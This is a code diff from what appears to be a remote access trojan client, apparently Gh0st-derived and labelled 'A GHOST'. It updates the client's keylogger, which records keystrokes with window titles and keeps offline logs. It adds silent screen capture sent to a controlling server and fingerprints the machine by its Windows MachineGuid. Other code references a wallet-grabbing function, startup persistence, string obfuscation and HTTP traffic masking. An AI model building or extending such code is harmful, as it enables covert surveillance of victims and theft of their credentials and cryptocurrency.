// 协议字段 ActiveWnd[512]UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
std::string out(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
if (out.size() >= 511) {
out.resize(511);
// 回退到上一个完整 UTF-8 码点起始
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
out.pop_back();
if (!out.empty()) {
unsigned char lead = static_cast<unsigned char>(out.back());
int need = (lead & 0x80) == 0 ? 1
: (lead & 0xE0) == 0xC0 ? 2
: (lead & 0xF0) == 0xE0 ? 3
: (lead & 0xF8) == 0xF0 ? 4 : 0;
if (need == 0) out.pop_back();
}
}
return out;
} }
DWORD GetLastInputTime() DWORD GetLastInputTime()

View File

@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
SAFE_CLOSE_HANDLE(m_hClipboard); SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread); SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread); SAFE_CLOSE_HANDLE(m_hSendThread);
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
if (m_bIsOfflineRecord) {
m_Buffer->WriteAvailableDataToFile(m_strRecordFile); m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
}
delete m_Buffer; delete m_Buffer;
Mprintf("~CKeyboardManager1: Stop %p\n", this); Mprintf("~CKeyboardManager1: Stop %p\n", this);
} }
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
int CKeyboardManager1::sendStartKeyBoard() int CKeyboardManager1::sendStartKeyBoard()
{ {
BYTE bToken[2]; // 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
bToken[0] = TOKEN_KEYBOARD_START; bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord; bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask); return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
} }

View File

@@ -213,19 +213,26 @@ std::string GetCurrentExeVersion()
std::string GetCurrentUserNameA() std::string GetCurrentUserNameA()
{ {
char username[256]; // 用 W 接口取宽字符再转 UTF-8避免依赖系统 ANSI 代码页(中文账号名在英语系统上
DWORD size = sizeof(username); // 用 GetUserNameA 取出来是 '?',与 LOGIN_INFOR 的 CLIENT_CAP_UTF8 声明也不一致)。
wchar_t wname[256] = {};
if (GetUserNameA(username, &size)) { DWORD wsize = _countof(wname);
return std::string(username); if (!GetUserNameW(wname, &wsize)) {
} else {
return "Unknown"; return "Unknown";
} }
char buf[256 * 3] = {};
if (WideCharToMultiByte(CP_UTF8, 0, wname, -1, buf, sizeof(buf), NULL, NULL) <= 0) {
return "Unknown";
}
return std::string(buf);
} }
#define XXH_INLINE_ALL #define XXH_INLINE_ALL
#include "common/xxhash.h" #include "common/xxhash.h"
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
// 老算法基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
// 注意pubIP 不稳定DHCP/换网络)会让 ID 跳变;同 hostname+同安装路径的多机会撞库。
// 保留此函数仅为协议兼容(老服务端仍按这个算法验算 RES_CLIENT_ID
uint64_t CalcalateID(const std::vector<std::string>& clientInfo) uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
{ {
std::string s; std::string s;
@@ -236,6 +243,52 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
return XXH64(s.c_str(), s.length(), 0); return XXH64(s.c_str(), s.length(), 0);
} }
// 读取 Windows 安装时生成的机器 GUID。
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID
// 重装系统才会变局域网每台机器都不同即便同镜像sysprep 也会重置)。
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
static std::string GetMachineGuidWindows()
{
HKEY hKey = NULL;
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0, KEY_READ | KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS) {
return std::string();
}
char buf[64] = {};
DWORD sz = sizeof(buf) - 1; // 留 1 字节给 NUL
DWORD type = 0;
LSTATUS s = RegQueryValueExA(hKey, "MachineGuid", NULL, &type,
(BYTE*)buf, &sz);
RegCloseKey(hKey);
if (s != ERROR_SUCCESS || type != REG_SZ) return std::string();
return std::string(buf);
}
// 路径归一化:先尝试展开成长路径(如 PROGRA~1 -> Program Files再小写化。
// 用于 V2 ID 的输入,保证大小写或长短名变化时同一可执行文件得到同一 ID。
static std::string NormalizeExePathLower(const char* path)
{
char longPath[MAX_PATH] = {};
if (GetLongPathNameA(path, longPath, MAX_PATH) == 0) {
// 展开失败(路径不存在等罕见情况):直接用原值
strcpy_s(longPath, path);
}
CharLowerA(longPath); // 原地小写化(对 ASCII 简单,对中文路径会按宽字符规则处理)
return std::string(longPath);
}
// 新算法machineGuid + 归一化路径
// - 同机同程序:永远同 ID不依赖 IP/PCName/OS/CPU
// - 局域网多机相同镜像MachineGuid 必不同 → ID 必不同。
// - 一台机两份程序在不同目录 → ID 不同。
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
{
std::string s = machineGuid + "|" + normalizedPath;
return XXH64(s.c_str(), s.length(), 0);
}
BOOL IsAuthKernel(std::string &str) { BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE; BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId()); std::string pid = std::to_string(GetCurrentProcessId());
@@ -292,9 +345,18 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(getOSBits()); // 系统位数 LoginInfor.AddReserved(getOSBits()); // 系统位数
LoginInfor.AddReserved(GetCPUCores()); // CPU核数 LoginInfor.AddReserved(GetCPUCores()); // CPU核数
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存 LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
// 路径分两份处理:
// - buf (CP_ACP): 保留给 CalcalateIDv2 / 老 CalculateID 用,保证升级后 client ID
// 不变(老版客户端用的是 GetModuleFileNameA 的 CP_ACP 字节,
// 若改成 UTF-8 同一物理路径会算出不同 ID丢授权/备注)。
// - utf8Path: 发给服务端的 RES_FILE_PATH与 CLIENT_CAP_UTF8 一致。
char buf[_MAX_PATH] = {}; char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf)); GetModuleFileNameA(NULL, buf, sizeof(buf)); // CP_ACP, 留给 ID 计算用
LoginInfor.AddReserved(buf); // 文件路径 wchar_t wbuf[_MAX_PATH] = {};
GetModuleFileNameW(NULL, wbuf, _MAX_PATH);
char utf8Path[_MAX_PATH * 3] = {}; // UTF-8 最多 3 字节/中文,给足
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, utf8Path, sizeof(utf8Path), NULL, NULL);
LoginInfor.AddReserved(utf8Path); // 文件路径 (UTF-8 发给服务端显示)
LoginInfor.AddReserved("?"); // test LoginInfor.AddReserved("?"); // test
std::string installTime = cfg.GetStr("settings", "install_time"); std::string installTime = cfg.GetStr("settings", "install_time");
if (installTime.empty()) { if (installTime.empty()) {
@@ -306,7 +368,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数 LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
std::string masterHash(skCrypt(MASTER_HASH)); std::string masterHash(skCrypt(MASTER_HASH));
WIN32_FILE_ATTRIBUTE_DATA fileInfo; WIN32_FILE_ATTRIBUTE_DATA fileInfo;
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo); GetFileAttributesExW(wbuf, GetFileExInfoStandard, &fileInfo);
LoginInfor.AddReserved(str.c_str()); // 授权信息 LoginInfor.AddReserved(str.c_str()); // 授权信息
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
@@ -332,7 +394,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(IsRunningAsAdmin()); LoginInfor.AddReserved(IsRunningAsAdmin());
char cpuInfo[32]; char cpuInfo[32];
sprintf(cpuInfo, "%dMHz", dwCPUMHz); sprintf(cpuInfo, "%dMHz", dwCPUMHz);
// V2 ID 算法MachineGuid + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/PCName/OS/CPU 漂移)
// - 局域网多机即便同镜像sysprep 会让 MachineGuid 各不同)也不撞库
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
} else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
}
auto clientID = std::to_string(conn.clientID); auto clientID = std::to_string(conn.clientID);
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
char reservedInfo[64]; char reservedInfo[64];

View File

@@ -137,7 +137,11 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
} }
} }
BOOL fixedQuality = all || algo == ALGORITHM_H264; int quality = cfg.GetInt("settings", "QualityLevel", QUALITY_GOOD);
if (algo != (BYTE)ALGORITHM_NUL)
quality = QUALITY_DISABLED;
Mprintf("图像传输算法: %d, 多显示器支持是否启用: %d, 屏幕质量等级: %d\n", (int)algo, all, quality);
m_ScreenSettings.MaxFPS = m_nMaxFPS; m_ScreenSettings.MaxFPS = m_nMaxFPS;
m_ScreenSettings.CompressThread = threadNum; m_ScreenSettings.CompressThread = threadNum;
m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0); m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
@@ -146,7 +150,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv); m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0); m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧 m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE); m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0); m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频 m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频

188
client/ScreenPreview.cpp Normal file
View File

@@ -0,0 +1,188 @@
// ScreenPreview.cpp
#include "stdafx.h"
#include "ScreenPreview.h"
#include "../common/commands.h" // ScreenPreviewStatus
#include <windows.h>
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
#pragma comment(lib, "gdiplus.lib")
using namespace Gdiplus;
namespace {
// GDI+ 进程级初始化(与 Bmp2Video 互不冲突Startup 可重入计数)
struct GdiplusBoot {
ULONG_PTR token = 0;
bool ok = false;
GdiplusBoot()
{
GdiplusStartupInput in;
ok = (GdiplusStartup(&token, &in, NULL) == Ok);
}
~GdiplusBoot()
{
if (ok) GdiplusShutdown(token);
}
};
static GdiplusBoot g_boot;
int GetJpegEncoderClsid(CLSID& clsid)
{
UINT num = 0, size = 0;
GetImageEncodersSize(&num, &size);
if (size == 0) return -1;
std::vector<BYTE> buf(size);
ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
GetImageEncoders(num, size, info);
for (UINT i = 0; i < num; ++i) {
if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
clsid = info[i].Clsid;
return 0;
}
}
return -1;
}
// 抓主屏到 24bpp Bitmap目标尺寸已等比换算。
// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
Bitmap* GrabPrimaryScaled(int targetW, int targetH)
{
HDC hScreen = GetDC(NULL);
if (!hScreen) return nullptr;
int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
(void)srcX; (void)srcY;
int srcW = GetSystemMetrics(SM_CXSCREEN);
int srcH = GetSystemMetrics(SM_CYSCREEN);
if (srcW <= 0 || srcH <= 0) {
ReleaseDC(NULL, hScreen);
return nullptr;
}
HDC hMem = CreateCompatibleDC(hScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
if (!hMem || !hBmp) {
if (hBmp) DeleteObject(hBmp);
if (hMem) DeleteDC(hMem);
ReleaseDC(NULL, hScreen);
return nullptr;
}
HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
// 高质量缩放HALFTONE 内插
SetStretchBltMode(hMem, HALFTONE);
SetBrushOrgEx(hMem, 0, 0, NULL);
BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
SelectObject(hMem, oldBmp);
Bitmap* out = nullptr;
if (bb) {
// 拷贝 HBITMAP 到 GDI+ Bitmap避免后续释放设备 DC 影响图像
Bitmap tmp(hBmp, NULL);
if (tmp.GetLastStatus() == Ok) {
out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
if (out && out->GetLastStatus() != Ok) {
delete out;
out = nullptr;
}
}
}
DeleteObject(hBmp);
DeleteDC(hMem);
ReleaseDC(NULL, hScreen);
return out;
}
} // namespace
int CaptureAndEncodePreview(int maxWidth, int quality,
std::vector<unsigned char>& out,
int& outWidth, int& outHeight)
{
out.clear();
outWidth = outHeight = 0;
if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
if (maxWidth < 64) maxWidth = 64;
if (maxWidth > 1920) maxWidth = 1920;
if (quality < 1) quality = 1;
if (quality > 100) quality = 100;
int srcW = GetSystemMetrics(SM_CXSCREEN);
int srcH = GetSystemMetrics(SM_CYSCREEN);
if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
// 等比缩放,禁止放大
int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
int targetH = (int)((double)srcH * targetW / srcW + 0.5);
if (targetH <= 0) targetH = 1;
// 偶数对齐JPEG 编码更高效
targetW &= ~1;
targetH &= ~1;
if (targetW < 2) targetW = 2;
if (targetH < 2) targetH = 2;
Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
CLSID clsid;
if (GetJpegEncoderClsid(clsid) != 0) {
delete bmp;
return SCREEN_PREVIEW_ENCODE_FAILED;
}
EncoderParameters params;
params.Count = 1;
params.Parameter[0].Guid = EncoderQuality;
params.Parameter[0].Type = EncoderParameterValueTypeLong;
params.Parameter[0].NumberOfValues = 1;
ULONG q = (ULONG)quality;
params.Parameter[0].Value = &q;
IStream* stream = nullptr;
if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
delete bmp;
return SCREEN_PREVIEW_ENCODE_FAILED;
}
Status st = bmp->Save(stream, &clsid, &params);
delete bmp;
if (st != Ok) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
HGLOBAL hMem = NULL;
if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
SIZE_T sz = GlobalSize(hMem);
if (sz == 0) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
void* p = GlobalLock(hMem);
if (!p) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
out.assign((unsigned char*)p, (unsigned char*)p + sz);
GlobalUnlock(hMem);
stream->Release();
outWidth = targetW;
outHeight = targetH;
return SCREEN_PREVIEW_OK;
}

16
client/ScreenPreview.h Normal file
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@@ -0,0 +1,16 @@
// ScreenPreview.h
// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
#pragma once
#include <vector>
// 抓取主屏并编码成 JPEG。
// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
// quality JPEG 质量 1..100(建议 40..85
// out 编码后的 JPEG 字节流
// outWidth 实际编码图宽
// outHeight 实际编码图高
// 返回 0 表示成功;非 0 见 ScreenPreviewStatus枚举在 commands.h
int CaptureAndEncodePreview(int maxWidth, int quality,
std::vector<unsigned char>& out,
int& outWidth, int& outHeight);

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,2 FILEVERSION 1,0,3,3
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.2" VALUE "FileVersion", "1.0.3.3"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
LPBYTE szBuffer = *(LPBYTE*)lParam; LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024]; char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle)); memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题 // 用 W 接口取标题再转 UTF-8 写入 szTitle避免依赖客户端 CP_ACP
GetWindowText(hWnd, szTitle, sizeof(szTitle)); // 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
wchar_t wTitle[1024] = {};
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
szTitle, sizeof(szTitle), NULL, NULL);
}
//这里判断 窗口是否可见 或标题为空 //这里判断 窗口是否可见 或标题为空
BOOL m_bShowHidden = TRUE; BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) { if (!m_bShowHidden && !IsWindowVisible(hWnd)) {

Binary file not shown.

View File

@@ -209,6 +209,7 @@
<ClCompile Include="reg_startup.c" /> <ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" /> <ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
@@ -257,6 +258,7 @@
<ClInclude Include="SafeThread.h" /> <ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapturerDXGI.h" /> <ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" /> <ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" /> <ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" /> <ClInclude Include="ServicesManager.h" />
<ClInclude Include="ServiceWrapper.h" /> <ClInclude Include="ServiceWrapper.h" />

View File

@@ -94,9 +94,17 @@ int Save(int key_stroke)
} }
if (foreground) { if (foreground) {
// 用 W 接口取标题再转 UTF-8避免依赖客户端系统 ANSI 代码页:
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP中文机=GBK
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252
char window_title[MAX_PATH] = {}; char window_title[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextA); wchar_t wTitle[MAX_PATH] = {};
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH); GET_PROCESS_EASY(GetWindowTextW);
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
window_title, MAX_PATH, NULL, NULL);
}
if (strcmp(window_title, lastwindow) != 0) { if (strcmp(window_title, lastwindow) != 0) {
strcpy_s(lastwindow, sizeof(lastwindow), window_title); strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
s.wHour, s.wMinute, s.wSecond); s.wHour, s.wMinute, s.wSecond);
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]"; output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
} }
} }

52
client/sign_shim_unix.cpp Normal file
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@@ -0,0 +1,52 @@
// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface
//
// libsign.a 公开 ABI 是 C linkage避免 std::string 跨编译器/跨 libstdc++
// 版本 ABI 风险),但 YAMA 客户端代码IOCPClient.cpp / KernelManager.cpp /
// linux/main.cpp / macos/main.mm习惯用 std::string 调用 signMessage /
// verifyMessage。本文件提供 C++ 适配,让两边契合。
//
// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。
#include <string>
#include <cstring>
// libsign.a 提供的 C 接口
extern "C" {
int signMessage_c(const char* privateKey, int privateKeyLen,
const unsigned char* msg, int msgLen,
char* outBuf, int outBufSize);
int verifyMessage_c(const char* publicKey, int publicKeyLen,
const unsigned char* msg, int msgLen,
const char* sigHex, int sigLen);
int isVerifyCalled_c(void);
}
// 与 YAMA common/commands.h 中 BYTE 一致
typedef unsigned char BYTE;
// ============================================================================
// 提供 YAMA 既有声明所期望的 C++ 符号
// ============================================================================
std::string signMessage(const std::string& privateKey, BYTE* msg, int len)
{
char buf[65] = {};
int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(),
msg, len,
buf, sizeof(buf));
if (n != 64) return std::string();
return std::string(buf, 64);
}
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
const std::string& signature)
{
return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(),
msg, len,
signature.data(), (int)signature.size()) != 0;
}
int isVerifyCalled()
{
return isVerifyCalled_c();
}

View File

@@ -1,8 +1,24 @@
/**
* FileManager.h - Unix File Manager
*
* Implements file transfer between Windows server and Unix client.
* Supports: browse, upload, download, delete, rename, create folder
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different file APIs)
*/
#pragma once #pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "FileManager.h is not supported on Windows."
#endif
#include <dirent.h> #include <dirent.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <sys/statvfs.h> #include <sys/statvfs.h>
#include <iconv.h>
#include <unistd.h> #include <unistd.h>
#include <cstring> #include <cstring>
#include <string> #include <string>
@@ -11,15 +27,19 @@
#include <fstream> #include <fstream>
#include <sstream> #include <sstream>
#include <cerrno> #include <cerrno>
#ifdef __APPLE__
#include <sys/mount.h> // macOS: statfs for filesystem type
#endif
#include <iconv.h> // Character encoding conversion (GBK <-> UTF-8)
// FileTransferV2 is in the same directory (common/)
#include "FileTransferV2.h" #include "FileTransferV2.h"
// 外部声明 clientID在 main.cpp 中定义) // External declaration of clientID (defined in main.cpp/main.mm)
extern uint64_t g_myClientID; extern uint64_t g_myClientID;
// ============== Linux File Manager ==============
// Implements file transfer between Windows server and Linux client
// Supports: browse, upload, download, delete, rename, create folder
#define MAX_SEND_BUFFER 65535 #define MAX_SEND_BUFFER 65535
class FileManager : public IOCPManager class FileManager : public IOCPManager
@@ -222,6 +242,13 @@ private:
// ---- Get root filesystem type ---- // ---- Get root filesystem type ----
static std::string getRootFsType() static std::string getRootFsType()
{ {
#ifdef __APPLE__
struct statfs sf;
if (statfs("/", &sf) == 0) {
return std::string(sf.f_fstypename); // "apfs", "hfs", etc.
}
return "apfs";
#else
std::ifstream f("/proc/mounts"); std::ifstream f("/proc/mounts");
std::string line; std::string line;
while (std::getline(f, line)) { while (std::getline(f, line)) {
@@ -232,6 +259,7 @@ private:
} }
} }
return "ext4"; return "ext4";
#endif
} }
// ---- Ensure parent directory exists (mkdir -p for parent of file path) ---- // ---- Ensure parent directory exists (mkdir -p for parent of file path) ----
@@ -307,7 +335,11 @@ private:
memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long)); memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long));
memcpy(buf + offset + 6, &freeMB, sizeof(unsigned long)); memcpy(buf + offset + 6, &freeMB, sizeof(unsigned long));
#ifdef __APPLE__
const char* typeName = "macOS";
#else
const char* typeName = "Linux"; const char* typeName = "Linux";
#endif
int typeNameLen = strlen(typeName) + 1; int typeNameLen = strlen(typeName) + 1;
memcpy(buf + offset + 10, typeName, typeNameLen); memcpy(buf + offset + 10, typeName, typeNameLen);

View File

@@ -1,7 +1,24 @@
/**
* FileTransferV2.h - Unix V2 File Transfer Protocol
*
* Implements V2 file transfer protocol for Unix clients.
* Supports: receive files from server/C2C, send files to server/C2C
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different file APIs)
*/
#pragma once #pragma once
#include "common/commands.h"
#include "common/file_upload.h" #if defined(_WIN32) || defined(_WIN64)
#include "client/IOCPClient.h" #error "FileTransferV2.h is not supported on Windows."
#endif
#include "commands.h"
#include "file_upload.h"
#include "../client/IOCPClient.h"
#include <unistd.h> #include <unistd.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <fcntl.h> #include <fcntl.h>
@@ -15,10 +32,6 @@
#include <fstream> #include <fstream>
#include <thread> #include <thread>
// ============== Linux V2 File Transfer ==============
// Implements V2 file transfer protocol for Linux client
// Supports: receive files from server/C2C, send files to server/C2C
class FileTransferV2 class FileTransferV2
{ {
public: public:

View File

@@ -50,47 +50,71 @@ public:
char line[4096]; char line[4096];
while (fgets(line, sizeof(line), f)) { while (fgets(line, sizeof(line), f)) {
// 去除行尾换行符 ParseLine(line, currentSection);
size_t len = strlen(line);
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
line[--len] = '\0';
if (len == 0)
continue;
// 跳过注释
if (line[0] == ';' || line[0] == '#')
continue;
// 检测 section 头: [SectionName]
// 真正的 section 头:']' 后面没有 '='(否则是 key=value
if (line[0] == '[') {
char* end = strchr(line, ']');
if (end) {
char* eqAfter = strchr(end + 1, '=');
if (!eqAfter) {
// 纯 section 头,如 [Strings]
*end = '\0';
currentSection = line + 1;
continue;
}
// ']' 后有 '=',如 [使用FRP]=[Using FRP],当作 key=value 处理
}
} }
// 不在任何 section 内则跳过 fclose(f);
if (currentSection.empty()) return true;
continue;
// 解析 key=value只按第一个 '=' 分割,不 trim
// key 和 value 均做反转义(\n \r \t \\ \"
char* eq = strchr(line, '=');
if (eq && eq != line) {
